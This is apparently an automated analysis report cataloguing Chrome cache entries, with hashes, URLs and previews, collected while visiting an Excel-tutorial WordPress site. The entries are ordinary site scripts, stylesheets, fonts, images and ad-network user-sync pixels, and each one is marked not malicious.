u,l,d,c=(0,m.dD)("?"+s[1]),f=(u=Object.keys(c)).length;for(i=0;i<f;)""!=l&&(d=c[l=u[i]],i+=1,e[l]=d)}return(n=s[0].split(/\/+/g)).length>=2&&(e.userIdHash=n[0],e.pageFromUrl=n[1],void 0!==n[2]&&(e.par

Chrome Cache Entry: 721

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4093)
Category:	downloaded
Size (bytes):	4094
Entropy (8bit):	4.961588378857479
Encrypted:	false
SSDEEP:	96:dtmfw6UbirPBID8xIniqm8NbbOjnwG05gMsz9p:dtm/BI4xIi2Ojn/zP
MD5:	FBB458B6B54030F634802A998B7B7E64
SHA1:	55B33E95974E020FD8D9B9666B4E197EA99CF0DB
SHA-256:	3ACECEEBAA153A1B9A1813E5429002AEC6643EE291770B19EA7D8A0E65A4A882
SHA-512:	6B65596D9A78393982FD2C4B24F08C0FC145422EEEDE51DB2A96A9CC4BDA6E1FBC97F24D113674EC4DCC385549D997B1C928162E3856832C6BC6E00C7C228952
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/growl/js/jquery.growl.min.js
Preview:	(function(){"use strict";var a,b,c;a=jQuery,b=function(){class d{static transition(e){var f,g,h,i;for(i in f=e[0],g=this.transitions,g)if(h=g[i],null!=f.style[i])return h}}return d.transitions={webkitTransition:"webkitTransitionEnd",mozTransition:"mozTransitionEnd",oTransition:"oTransitionEnd",transition:"transitionend"},d}(),c=function(){class d{static growl(e={}){return new d(e)}constructor(e={}){this.render=this.render.bind(this),this.bind=this.bind.bind(this),this.unbind=this.unbind.bind(this),this.mouseEnter=this.mouseEnter.bind(this),this.mouseLeave=this.mouseLeave.bind(this),this.click=this.click.bind(this),this.close=this.close.bind(this),this.cycle=this.cycle.bind(this),this.waitAndDismiss=this.waitAndDismiss.bind(this),this.present=this.present.bind(this),this.dismiss=this.dismiss.bind(this),this.remove=this.remove.bind(this),this.animate=this.animate.bind(this),this.$growls=this.$growls.bind(this),this.$growl=this.$growl.bind(this),this.html=this.html.bind(this),this.content

Chrome Cache Entry: 722

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1829)
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.166291504957683
Encrypted:	false
SSDEEP:	48:Q7bqbgWHDU8kWDUgQYicd01YEvbMname0XG7uL6ya:ojWHDqWDNiS4meLx
MD5:	7489880430CC60DFA397FEF74D566960
SHA1:	C3E04E7C14D96F04A7286BD0067250313CF197C0
SHA-256:	48BEF5E3FE082CE514EAD59A84577FB91E168EDB7DA86C694DCF95144D40ECC1
SHA-512:	33B49B8A4288898167F6344D944C1AD9ABD873BF59088D86CA3CEAB73583F906686EECD211976F600D22BADCA5C30E30EC7907210658B8FFC2ABF7800698A0A9
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/utils.min.js
Preview:	/! This file is auto-generated /.window.wpCookies={each:function(e,t,n){var i,s;if(!e)return 0;if(n=n\|\|e,void 0!==e.length){for(i=0,s=e.length;i<s;i++)if(!1===t.call(n,e[i],i,e))return 0}else for(i in e)if(e.hasOwnProperty(i)&&!1===t.call(n,e[i],i,e))return 0;return 1},getHash:function(e){var t,e=this.get(e);return e&&this.each(e.split("&"),function(e){e=e.split("="),(t=t\|\|{})[e[0]]=e[1]}),t},setHash:function(e,t,n,i,s,r){var o="";this.each(t,function(e,t){o+=(o?"&":"")+t+"="+e}),this.set(e,o,n,i,s,r)},get:function(e){var t,n=document.cookie,i=e+"=";if(n){if(-1===(t=n.indexOf("; "+i))){if(0!==(t=n.indexOf(i)))return null}else t+=2;return-1===(e=n.indexOf(";",t))&&(e=n.length),decodeURIComponent(n.substring(t+i.length,e))}},set:function(e,t,n,i,s,r){var o=new Date;n="object"==typeof n&&n.toGMTString?n.toGMTString():parseInt(n,10)?(o.setTime(o.getTime()+1e3*parseInt(n,10)),o.toGMTString()):"",document.cookie=e+"="+encodeURIComponent(t)+(n?"; expires="+n:"")+(i?"; path="+i:"")+(s?"; dom

Chrome Cache Entry: 723

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072966&val=FF4FA33AD55F4AFDAF353CD71FB72BED
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 724

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	59
Entropy (8bit):	4.276356609816637
Encrypted:	false
SSDEEP:	3:yCIYMXAIWFMVVdcMo7:ycopVTo7
MD5:	241E9AC19077965F6C78323993CABF92
SHA1:	AA188315F6EAE6D908B90623D11AABF6208990FC
SHA-256:	0B537C399CE6CF79218E5A7238BAF3C0A5E6FBB1D6D1B28C763C8809FFFDFD3E
SHA-512:	82C350D693029475E1DF1E85BCB015FDC6755BAD4AE8BEC5CFB54D5855AC9C771B3CB4DD185B0D798CA82E1F99664AF76A15829770E9ED2B4F203F3D4CFE1962
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor-pro/assets/css/front.css
Preview:	.enrolment-expire-info {. margin-top: 10px !important;.}

Chrome Cache Entry: 725

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	95653
Entropy (8bit):	5.148293538143595
Encrypted:	false
SSDEEP:	1536:NC5hYq+skejKXSXMms4R3IKtvpczR3IKtvX/vjqLR3IKtvjGR3IKtvxQefFF4X:WYq+sk8ISXMmH3IM43IMX/vjql3IMjA0
MD5:	23F9612B34A3E7D3CCC62BFACDBED871
SHA1:	7E2EC3B3C4FC24239F9B81DDF2A5E067DA118C69
SHA-256:	D3EB83794C8E7ADAF288A3D4F8E1C2F80C150C7EA131DE8F71B62651E8055DDA
SHA-512:	3BB64CB78E94CAF245115339D7B52B896D53446F6523051C887C8B1F65CFAB965731B0C0FAE8BFD8049A8BCBF20C22EB7C79C1E2C9B482A909732DEE10E3B8CC
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor/assets/js/tutor-front.min.js
Preview:	(()=>{var n={3676:()=>{window.readyState_complete=function(e){var r=function t(e){return e()};document.addEventListener("readystatechange",function(t){return t.target.readyState==="complete"?typeof e=="function"?setTimeout(function(){return r(e)}):"":""})};window.addBodyClass=function(t){var e=new URL(t);var r=e.searchParams.get("tab_page");var n=e.searchParams.get("edit")&&"_edit";document.body.classList.add(r);document.body.classList.add(r+n)};window.selectorById=function(t){return document.getElementById(t)};window.selectorByClass=function(t){return document.getElementsByClassName(t)};window.json_download=function(t,e){var r=new Blob([t],{type:"application/json"});var n=document.createElement("a");n.href=URL.createObjectURL(r);n.download=e;n.click()}},4367:()=>{window.selectSearchField=function(t){var r=document.querySelectorAll(t);(function(){r.forEach(function(o){if(o&&!o.classList.contains("tutor-js-form-select")&&!o.hasAttribute("noDropdown")&&!o.classList.contains("no-tutor-dro

Chrome Cache Entry: 726

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14238)
Category:	downloaded
Size (bytes):	14277
Entropy (8bit):	5.115515601909674
Encrypted:	false
SSDEEP:	384:meAjA6wA9CrSX4cR8C8WwJMg35LI1S6SC8lwE5nYJe3VW+V3QMoF7ehetdQPR+SN:meAjA6wA9CrSX4cR8+8Mc5LI1/SC8lw6
MD5:	C050CE35CF2420D5840D8DD0227C1DE9
SHA1:	2D65F0FA6DA633A8E9FDE9413CFF10F508E7BDE9
SHA-256:	838AA5043B6AAA11FDF99582235B1638CB182180C0F601EDC893AE1DF6E9893A
SHA-512:	22BB275E5021887396ACE4D54CFA579DA18CD8F6DB454E310097D4F4F60148F7D799189BE9C180565549D3BAE5A9A9976BB4C2D428DAE35B91F90668630E9393
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js
Preview:	/! elementor - v3.6.0 - 21-03-2022 /.(self.webpackChunkelementor=self.webpackChunkelementor\|\|[]).push([[354],{7914:e=>{e.exports=function _interopRequireDefault(e){return e&&e.__esModule?e:{default:e}},e.exports.default=e.exports,e.exports.__esModule=!0},381:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;t.default=(e,t)=>{t=Array.isArray(t)?t:[t];for(const n of t)if(e.constructor.name===n.prototype[Symbol.toStringTag])return!0;return!1}},8135:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.ViewModule{getDefaultSettings(){return{selectors:{elements:".elementor-element",nestedDocumentElements:".elementor .elementor-element"},classes:{editMode:"elementor-edit-mode"}}}getDefaultElements(){const e=this.getSettings("selectors");return{$elements:this.$element.find(e.elements).not(this.$element.find(e.nestedDocumentElements))}}getDocumentSettings(e){let t;if(this.isEdit){t={

Chrome Cache Entry: 727

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (331)
Category:	dropped
Size (bytes):	3802
Entropy (8bit):	5.353611195269349
Encrypted:	false
SSDEEP:	96:F1HvvfoBCTb/sG13f4bk6qh03RN+L4L6J1:F1PneMj55f446qu3Lt+n
MD5:	D61AFAFBC3C7F88B3963DEAD4CA36120
SHA1:	625610AD35F260FF469AFA908F969D593CC4FCCD
SHA-256:	9B2C77CFB3E663BAEF16E34AC7EAFC411B4087651C0E181F08E1D871136865A9
SHA-512:	61B9905903DFA2882B0C937B84046968EC6CBCA0D3D2718FCD8CF3C7A6A6CC1A60A7DEAEF240B3C152E77931B714E2F8B7BB2AE948DC24BFF25791525CE5CA33
Malicious:	false
Reputation:	low
Preview:	<iframe width=1 height=1 src="https://us-u.openx.net/w/1.0/sd?id=557617007&val=csuid_9500114b-4da3-47c9-aea9-cf7ed6ed87f5"></iframe>..<iframe width=1 height=1 src="https://ssc-cms.33across.com/ps/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=&ru=https%3A%2F%2Fcookies.nextmillmedia.com%2Fsetuid%3Fbidder%3D33across%26nmuid%3Dcsuid_9500114b-4da3-47c9-aea9-cf7ed6ed87f5%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D%26uid%3D33XUSERID33X&id=zzz000000000002zzz"></iframe>..<iframe width=1 height=1 src="https://prebid.a-mo.net/cchain/0?gdpr=&gdpr_consent=&us_privacy=&gpp=&gpp_sid=&s=pbs&cb=https%3A%2F%2Fcookies.nextmillmedia.com%2Fsetuid%3Fbidder%3Damx%26nmuid%3Dcsuid_9500114b-4da3-47c9-aea9-cf7ed6ed87f5%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D%26uid%3D%24UID"></iframe>..<iframe width=1 height=1 src="https://ib.adnxs.com/getuid?https%3A%2F%2Fcookies.nextmillmedia.com%2Fsetuid%3Fbidder%3Dappnexus%26nmuid%3Dcsuid_9500114b-4da3-47c9-aea9-cf7ed6ed87f5%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D%26u

Chrome Cache Entry: 728

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27174)
Category:	downloaded
Size (bytes):	27209
Entropy (8bit):	5.0419999700227285
Encrypted:	false
SSDEEP:	384:qaQzKXnqlUoHrvxY3ta3vgisb/T3ZW0nX3Xuyw6KudjFf6vtFYIydpi:1QzKajN2g3vgiWF/nRZRcCg
MD5:	705E8A2C66B4DEA1FF91F5B39B497BE2
SHA1:	57142AC10916FD007D973B7D1EB0E646C8624003
SHA-256:	FD71E1C8A2B3BEF3A3BA07877E5BBAB2249389B27BF2E18FCC74272D151F37BC
SHA-512:	2CB66533648C543FF87984E3EBAC830C17E9FB217C10CB529CCDDB65E7D14CD40804B4AEF1A2D102A5EF43B70C4C11F021F0ACF92233E2012E393831779990D5
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/css/editor.min.css
Preview:	/! This file is auto-generated /..mce-tinymce{box-shadow:none}.mce-container,.mce-container ,.mce-widget,.mce-widget {color:inherit;font-family:inherit}.mce-container .mce-monospace,.mce-widget .mce-monospace{font-family:Consolas,Monaco,monospace;font-size:13px;line-height:150%}#mce-modal-block,#mce-modal-block.mce-fade{opacity:.7;transition:none;background:#000}.mce-window{border-radius:0;box-shadow:0 3px 6px rgba(0,0,0,.3);-webkit-font-smoothing:subpixel-antialiased;transition:none}.mce-window .mce-container-body.mce-abs-layout{overflow:visible}.mce-window .mce-window-head{background:#fff;border-bottom:1px solid #dcdcde;padding:0;min-height:36px}.mce-window .mce-window-head .mce-title{color:#3c434a;font-size:18px;font-weight:600;line-height:36px;margin:0;padding:0 36px 0 16px}.mce-window .mce-window-head .mce-close,.mce-window-head .mce-close .mce-i-remove{color:transparent;top:0;right:0;width:36px;height:36px;padding:0;line-height:36px;text-align:center}.mce-window-head .mce-clo

Chrome Cache Entry: 729

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.9481489940172505
Encrypted:	false
SSDEEP:	6:YVgLQoeOO4FKw1yAKtPNGE3dZTtOsMuaC2gU5OrTnt27VSg2QePY:YKLQoBOdw1yBP8idZTYMaxgQOrT47ggd
MD5:	0371812531D91FB411B6BE359EFFCE35
SHA1:	C7F4CE8D33893E43C09EED24FF223704522BDCB4
SHA-256:	823228E6E51AEDC11B283FE616A7E9E42C98166B00574E4F9A832D76B17F88AB
SHA-512:	E5A7F6230640F613945BF9D7C00645D662473EE7A4436E054A3B357B9D8E0885B8B32E67743698D3AB71703C6D9402B536758E86C0077097763B99A10FEB86E9
Malicious:	false
Reputation:	low
Preview:	{"hb":"V1:pLwcIRPG7KAfCYXJ:GscoZifhW8Fa4a0XN+rpFCWw2L6/jPyZ5l6ENqudakp8EnDklNfsfWqPYxWf7Hxf","adx":"V1:T5UI3KGBHNsHgI1U:4ePNyyPct/9cTsdp5XwvkVtpwr9EJO8Cn+9Vfh4xMpAuzyrVw3lGmHUn+xqu5U97i8uYY6QzQJuqZrCPezdfrz/01aAu","unf":"V1:rauJ2lFfAgOniz7W:jsxrls82vP6o7a4GL8S4MCkaVlQ6sSq/o0X2ukisRGS/dvMBxo3GZSINuUWHbQPIjA=="}

Chrome Cache Entry: 730

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (714)
Category:	downloaded
Size (bytes):	913
Entropy (8bit):	5.4461788626223555
Encrypted:	false
SSDEEP:	12:2ebxkC6DVU4dxhwVVIn2bH7GRxQxdeQEdNUgm9TuOBIdNcDgubXl2zW2M4pGHPoA:2e2C6hHfhiVInWC93UdwdNwRbrT4oL
MD5:	0CF799C7C510C2C389FA128ACBDBFCD4
SHA1:	78EE217915468D69CA1564CFB4BC5FD3D64EBA60
SHA-256:	E197415A44CB9579C2EA2F80647FE8EC031A5FB85D03A4A2963708E52D4148CE
SHA-512:	43778A1D2383FBF5A570D20176BF1C42233E6CAE7282837215798362B73E9D80B15ED0441339077A7EC92EB36F1CD7A079456EA23E28CC3C8262471242BD43A0
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent=
Preview:	<html>.<head><title>Pixels</title></head>.<body>.<script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script>..<img src="https://ce.lijit.com/merge?pid=76&3pid=f9abaea3-fca1-485b-bd62-08b6a30fc7ba&gdpr=0&gdpr_consent="><img src="https://sync.srv.stackadapt.com/sync?nid=268"><img src="https://aorta.clickagy.com/pixel.gif?ch=4&cm=8acb4486-446f-4e18-8c4b-25513f8cf6d9&redir=https%3A%2F%2Fus-u.openx.net%2Fw%2F1.0%2Fsd%3Fid%3D537073026%26val%3D%7Bvisitor_id%7D"><img src="https://rtb.openx.net/sync/dds"><img src="https://sync.ipredictive.com/d/sync/cookie/generic?https://us-u.openx.net/w/1.0/sd?id=537073028&val=${ADELPHIC_CUID}"><img src="https://pixel-sync.sitescout.com/dmp/pixelSync?nid=4&gdpr=0"><img src="https://pixel.tapad.com/idsync/ex/receive?partner_id=1955&partner_device_id=933b039f-4d12-4fd1-b03f-26c6e83239e4">..</body>.</html>.

Chrome Cache Entry: 731

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 174360, version 331.524
Category:	downloaded
Size (bytes):	174360
Entropy (8bit):	7.998696396645795
Encrypted:	true
SSDEEP:	3072:OZAxbDg0hc70KJJqgjm+9dRUk52fip6GkVUtEIFK6PuE+ns2C0fysWIE:OZMbdc70KLLmQUkh6GkVlIFK6ppTQk
MD5:	DD049A6496EEA2A18937237B999EA8FA
SHA1:	7F9D7C88DB430BD3BD75AB11D3DAEBFBB068D5BA
SHA-256:	A771731F8DDB3A2C0426884135E1136B22D3A40BB48C69BF77B58F3E5C854ED7
SHA-512:	0C25445B4D5F53D540AA3B50AAFD761F6605A345CC77A34BE7E9C63966BC8BA9CB542CF300118C25FDF7937FBDECC0CCF586F597BDEC1618857E2A7CBBA8F89E
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/awesome/webfonts/fa-regular-400.woff2
Preview:	wOF2.....................K......................?FFTM....`...........E.6.$..r..x.. ..F...'[........t...x..T..Bn.).G..."...6.`~..(...\.......W&.P.Nvto..?... ....c1.........PP#.4.d..Lk......T......S...j....c-e..[..T.FDFDX.5J.Md#...B..S.....[v..a._.3.....g....f..>.....}...^o.U.^....r+....'.w#....I&...Mu>...I..8\|D....!...........x13j`gw..HJ..;l?.&.<.....Pgu.u..j....D...h...~...f...c..C..6\|o-N.b..G..t....A^..#+.J.J).<..o.#.L..9......:.....s......S)..R.W.?_.n..y.Nn.p@..8.I..6..I=.O...s...}l..3y.wg.1.....!.......\|...I.a.1E.I.3aL..a..(.j........:[pLl...V-..Z.V.v9.Z;eD'..e#a..U.~.r.d..?A.H..n.f.hn.`]l..0r...E....z.F.=..Q...&X`...........o......K.......u<.....D....}.......QSk.w.eB..jkr.2....9.%....pQ...p.68y.(8Z...Hl.k"8.&B.(.r89.].[p....:Jw.i?t9.Hmw..M.Ig.........w...[..t...Y=...9>V.._...].2..@&..J.X....i.o...).J....dU].kt...p..o......?..k...JI$xY59y....}S.....Cu...9./W0y-.......<......;7.AgP@...!.!$S\|.\...=...x.4V;.a0....l....)........1P...p......vu

Chrome Cache Entry: 732

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, progressive, precision 8, 480x304, components 3
Category:	downloaded
Size (bytes):	24985
Entropy (8bit):	7.97030786012066
Encrypted:	false
SSDEEP:	768:WNElq5z5Nbx4G72tWxY3T1AnexgKPY2/qq30:WNkq1P772tWSTZhHqc0
MD5:	24CD5EF800566F5AD0634B539146F236
SHA1:	99FA6C75CC3F1E80B1FC7BE2E111EFA6CDF17A46
SHA-256:	BE2EC1E61A91349AE2552BED1165C9313132336309CC0EE501CC3D155B1817EE
SHA-512:	11EB5C5F3A4F3C84CBDC9F66BB45707C573844C435A0486D8C54CA9D2A425C8A132B7B089169ACDBCFCC4C644E48A15CA86376DF62B42D3EDD1541087A65FC98
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/Excel-Tools-Templates-2-480x304.jpg
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0...."...............................................................................xcM.HEF.Ti.sn.....1.kU9.&..8r.+...cX......WEc..T..j.]...m..7.I..s....NJ.+..GG...d3O.Gnk^...V.........../..{].2.(..XF.......@D"...tR.Y.]N^..3r.>\...'.....xY...,..F.>U4a.$[F.r...ld....?..F.Eo.....r....k{..YN.q..f.c-...K3.$d...........#.....ce.z?...s`S.j.h.A N..G.....F........k..&..D...]h....Mx...yg.....2&.k$k@.........]t..5.Y.P.....U.....U]...V,....L...thV\|.u.2=VEGr..'@...jm:y......uX...Gy}.r.....S.G..s@..@.E.._<.?%J..M.....H...0...TZ....UN\..i..cz.=.C..`.........p-.%..k..Hj,_(.y.em}.V..OgWg...+.^%...2p...{3%....e......(.......^.....Q....j..R......i.;....F\Q......../...4Y..3_s....c.p:.ugn.N.c.k.%.#h:.6.. .y.SeYg....).Py.\|.5^y..-....m\|..X.[.V9.....P...}?....8..,OvM0..Z.....&6.uQH]..)&.U.3s....;\F.~

Chrome Cache Entry: 733

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 30, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2502
Entropy (8bit):	7.885521295962446
Encrypted:	false
SSDEEP:	48:kfcMDcv54meKZVcvTOodUWfYKESWX7OI40t+34oXROODmtnt31tN+kniLDX9:kRwRPVsqCUctWX6IHg3jEODmtntl+Fh
MD5:	FF862C0E7A4755ADF3682DA543BCE1E4
SHA1:	9DB9B9C9BB176AEE7F639F5F4A4CD702105358B6
SHA-256:	36133CA07927C88A7CC578FDDBAED3C668AB75087834D0CA13DCA5DE4EC856C1
SHA-512:	F7BD41F50C64D5DFC88989D0DDEE4C2CE816A08DC7410E5176C9386052791C04991022D406ED15BD0B6CA8C1E1ED83CD2E3B37C0F601DE26646F0FC49FCA0E6F
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/pagead/images/adchoices/en.png
Preview:	.PNG........IHDR................W....IDATh..go.I....&s..g....I.8...6Yd0".(..#.."..d.t&.x.q6.8.7...'...u......wX.!.C........O.>.e....I....2.,.,....A.....,tV....m...6..SR....'.JKKi..l..<0=.={x........::}.4M.0....C.;w.......)==]y..Ky..?6..\.z..r..w...r'C5.:....a..z.....k.}....6y.d...1..x...5.........H...EDD....p.i..}...\|....Y.....<..{.;.V.9..t...\.hm..Z.y..]........C.u..#F......,x..-[.5x.....5..I.N.....&Xx...6....;......z..?.....n..N.u}...>}..7..\|:~.8..q...U[[K.z..v..@.^.t...k.*++..X..........\...L;..t.........%%%Qyy9{..]...n7......u.X....,x#.....m...F}...[.n).....G..U.x\\|.(l..r..IZ.f..'._UU._?h..g.RZZ..5<..3.z.jZ.v-.C.D...799..........TQQ...r.....u.VZ.b..:t..4...!.A......5..k.5;X....:p.......y..E.=...,v.Vj....=z4..;...1c.p..;.}....Pc.......i...Ba..;v.....}.v.4...yn.c`....C.xO.......4./l.....5..f.a.]n.]....=...8(.....X..Bs...a..z+P...........>.\..".mX(3.(/...W.......S.......<..jYY...U+.1;;...._..F...D.~....y.fo.QSS.}.......

Chrome Cache Entry: 734

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	66
Entropy (8bit):	4.00334752435903
Encrypted:	false
SSDEEP:	3:jA4FKMjWezSyjLkAh2aV:IezfLB
MD5:	AE836E235DA819B6E2487CA66DDDB9B6
SHA1:	8B56BA4C4F52D663CA4DA4C0026468808EB42B2A
SHA-256:	736D1E2B722760CE1FE0CBA11E8977EFB93254413DAC70364750C7A47009D62C
SHA-512:	B31B472B292BB564D914E8E33087715F2600021807C4E3E517AFB813BDB81114299C70C32516258097D384B7B1B509024AF995E66073B2BF63AEE25EA6B3499F
Malicious:	false
Reputation:	low
URL:	"https://ssbsync.smartadserver.com/api/sync?callerId=140&gdpr={0,1}&gdpr_consent={empty,consent%20string}&gdpr=0&gdpr_consent="
Preview:	User sync url not found in sync call data source. Caller id is 140

Chrome Cache Entry: 735

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	3017
Entropy (8bit):	5.4164896148707635
Encrypted:	false
SSDEEP:	48:kHbLOdIDmzWGO5zB1e7GOox1GOeandNb7GOh/gr51jGO+o26Kd6GOUj5MueOSy9M:IOKSZ2B1eibxkXqDbiSbpXxUDyPYE0ue
MD5:	D4DDE1F50295AB85D814D07E02DCC14E
SHA1:	4A36F875B95E16F2004A40973E94966EFE558655
SHA-256:	9BDB5C0466F7B94960DB7494855F4BE8B46E9FB08352119B57EE44D96A1A7124
SHA-512:	15A2FCAC89096DA8C86F0C5B672ECFAABD9C9C10486CA7238A24D98814C0E488A9564F95763F2AAA205F51202F44F7251AC9D711B9BF89244D342733368569EA
Malicious:	false
Reputation:	low
URL:	https://rtb.gumgum.com/usync/9534?us_privacy=1---&r=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dgumgum%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D
Preview:	<html><head><title></title></head><body>.<img src="https://secure.adnxs.com/getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID" style="display:none;"/>.<img src="https://x.bidswitch.net/sync?ssp=gumgum2&user_id=u_a4cb566c-d29c-481c-82f5-d657255d141b&gdpr=&gdpr_consent=&us_privacy=1---" style="display:none;"/>.<iframe src="https://c1.adform.net/serving/cookie/match?party=1301&gdpr=&gdpr_consent=" style="display:none;"></iframe>.<img src="https://us-u.openx.net/w/1.0/cm?_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=&gdpr_consent=&us_privacy=1---&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D" style="display:none;"/>.<img src="https://sync.srv.stackadapt.com/sync?nid=1&gdpr=&gdpr_consent=" style="display:none;"/>.<iframe src="https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV9hNGNiNTY2Yy1kMjljLTQ4MWMtODJmNS1kNjU3MjU1ZDE0MWI=&gdpr=&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv" style="display:none;

Chrome Cache Entry: 736

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25130), with no line terminators
Category:	downloaded
Size (bytes):	25130
Entropy (8bit):	5.157408822069423
Encrypted:	false
SSDEEP:	384:SXS39O5bNTUsI/jR1xqx69gaAXu30mspt3p:lXgNeEms7Z
MD5:	20D5B6B1F9183D4EB99C46614B7FA35A
SHA1:	A11838695DEBD39B038ACC5D4917B1D3C5FF1DFA
SHA-256:	99AADF88140944814888948F92632225093523A3B7C1D8152C63340C6D5236AF
SHA-512:	B76B40CCCE436EC92591F7310C213870B2050902494C6453339E73A90CFA4F92E8B567D16FBE1187F2C9844117C0EFF33013FAD2DB59E5AB9CD40377390BAEEB
Malicious:	false
Reputation:	low
URL:	https://faves.grow.me/248.a2efd66c.chunk.js
Preview:	(self.webpackChunk_mediavine_faves_ui=self.webpackChunk_mediavine_faves_ui\|\|[]).push([[248],{8248:(t,e,i)=>{t.exports=i(3376)},6448:(t,e,i)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0});var o=i(1580);e.LeftArrow=function(t){var e=t.customLeftArrow,i=t.getState,n=t.previous,r=t.disabled,s=t.rtl;if(e)return o.cloneElement(e,{onClick:function(){return n()},carouselState:i(),disabled:r,rtl:s});var a=s?"rtl":"";return o.createElement("button",{"aria-label":"Go to previous slide",className:"react-multiple-carousel__arrow react-multiple-carousel__arrow--left "+a,onClick:function(){return n()},type:"button",disabled:r})};e.RightArrow=function(t){var e=t.customRightArrow,i=t.getState,n=t.next,r=t.disabled,s=t.rtl;if(e)return o.cloneElement(e,{onClick:function(){return n()},carouselState:i(),disabled:r,rtl:s});var a=s?"rtl":"";return o.createElement("button",{"aria-label":"Go to next slide",className:"react-multiple-carousel__arrow react-multiple-carousel__arrow--right "+a,onCl

Chrome Cache Entry: 737

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5436
Entropy (8bit):	4.941321746807341
Encrypted:	false
SSDEEP:	96:x/Q09Pme0GL2F5wMbhFfmXXoe89vuN517TGnibQF1WCXec/3mt:dQGPmZBF5wMbPfmnU9vud3bm1WCXf/3Y
MD5:	2668214AB897E85924D2AB8BC234D78C
SHA1:	0A9D3D550ECC37CB9E2E6A7665F48833DFDA2DBF
SHA-256:	2563F3526239EDA022398CBE0ABBBC40D9A83914DF49F9046C98EB05402E724B
SHA-512:	095BBC482CC57743E3C9E1D6A27328070AFE1C768D2AC31E882F3B3FA3E7A1966878E4B24584A53C6216E1715B661ABA7189015106ACB7A921B7FF2705D6DA6E
Malicious:	false
Reputation:	low
